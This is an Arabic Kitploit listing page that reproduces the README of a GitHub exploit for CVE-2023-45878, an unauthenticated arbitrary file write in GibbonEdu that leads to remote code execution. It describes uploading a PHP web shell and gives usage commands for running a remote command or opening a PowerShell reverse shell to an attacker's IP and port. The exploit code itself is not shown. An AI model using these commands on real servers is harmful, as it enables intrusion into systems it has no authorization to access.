Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-45878 — GibbonEdu — كتابة ملفات تعسفية تؤدي إلى تنفيذ تعليمات برمجية عن بُعد | Kitploit
أدوات/GitHubGitHub/davidzzo23/cve-2023-45878
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubdavidzzo23/cve-2023-45878

CVE-2023-45878

GibbonEdu — كتابة ملفات تعسفية تؤدي إلى تنفيذ تعليمات برمجية عن بُعد

عرض المستودع
32منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-45878

GibbonEdu: كتابة ملفات تعسفية لتنفيذ Web Shell

الوصف

يحتوي هذا المستودع على استغلال لـ CVE-2023-45878، وهي ثغرة كتابة ملفات تعسفية في GibbonEdu. تؤثر الثغرة على نقطة النهاية rubrics_visualise_saveAjax.php وتسمح لمهاجم غير مصادق برفع ملفات تعسفية إلى خادم الويب.

يستغل هذا السكربت الثغرة لرفع PHP Web Shell وإمّا:

  • تنفيذ أمر نظام محدد;
  • تشغيل PowerShell reverse shell مشفّر بـ base64 للوصول عن بُعد.

الاستخدام

يدعم السكربت وضعين للتشغيل:

  • --command (-c): تنفيذ أمر نظام محدد عن بُعد.
  • --shell (-s): تشغيل PowerShell reverse shell إلى مستمع المهاجم.

كيفية تشغيل الاستغلال

1. استنساخ المستودع

root@kitploit:~
git clone https://github.com/davidzzo23/CVE-2023-45878.git
cd CVE-2023-45878

2. تشغيل استغلال Web Shell

  • تشغيل أمر عن بُعد:
root@kitploit:~
python3 CVE-2023-45878.py -t <target_domain> -c "whoami"
  • تشغيل PowerShell Reverse Shell:
root@kitploit:~
python3 CVE-2023-45878.py -t <target_domain> -s -i <ip> -p <port>

إخلاء المسؤولية

هذا السكربت مخصص للأغراض التعليمية فقط. الاستخدام غير المصرح به لهذا الاستغلال على أنظمة دون إذن يعد غير قانوني. المؤلف غير مسؤول عن أي إساءة استخدام أو أضرار ناتجة عن هذا الاستغلال.

تنزيل الأداة